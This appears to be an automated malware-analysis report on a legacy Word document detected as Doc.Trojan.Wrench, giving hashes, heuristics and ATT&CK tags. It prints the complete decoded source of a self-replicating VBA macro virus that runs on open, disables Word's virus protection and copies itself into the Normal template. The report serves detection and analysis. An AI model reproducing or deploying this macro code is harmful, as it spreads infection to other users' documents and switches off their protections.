Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18fe06e0a07a4a8b…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-07-04 14:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9c429ae876fef09bd5779b5416695ab6 SHA-1: bb47b1a2f534a0a5f83818a978b7f3ffcfd3a753 SHA-256: 18fe06e0a07a4a8bdfc01fd554efff1331487b37e0a4c5feeceafa32653d4ad1
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro named 'EgertonLab' with an AutoOpen subroutine. This macro attempts to copy itself to the host document and save a file named 'ascii.vxd' to the C drive, indicating a potential payload delivery or persistence mechanism. The presence of AutoOpen and the macro's self-replication behavior strongly suggest malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Wrench-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wrench-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1360 bytes
SHA-256: c997eafad7d213204bf135a99d92ec72d6fe922647cb13c3cdca058612bcb6f1
Detection
ClamAV: Doc.Trojan.Wrench-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EgertonLab"
Sub AutoOpen()
On Error Resume Next
 
  Call Infect
End Sub
Sub ViewVBCode()
     .Animation = msoAnimationGestureDown
    .Visible = True
    .MouseTips = True
    .Help
  End With
   Call Infect
End Sub


Sub Infect()
On Error Resume Next
Application.Options.VirusProtection = False
Application.Options.ConfirmConversions = False
Application.ActiveDocument.AcceptAllRevisions
ModulName = "EgertonLab"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
  Set Carrier = NormalTemplate.VBProject.VBComponents
  Set host = ActiveDocument.VBProject.VBComponents
Else
  Set Carrier = ActiveDocument.VBProject.VBComponents
  Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
  Carrier(ModulName).Export "c:\ascii.vxd"
  host.import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
End Sub
Sub formatfont()
 Call ViewVBCode
 Call Infect
End Sub

Sub fileprint()
Call ViewVBCode
 Call Infect
End Sub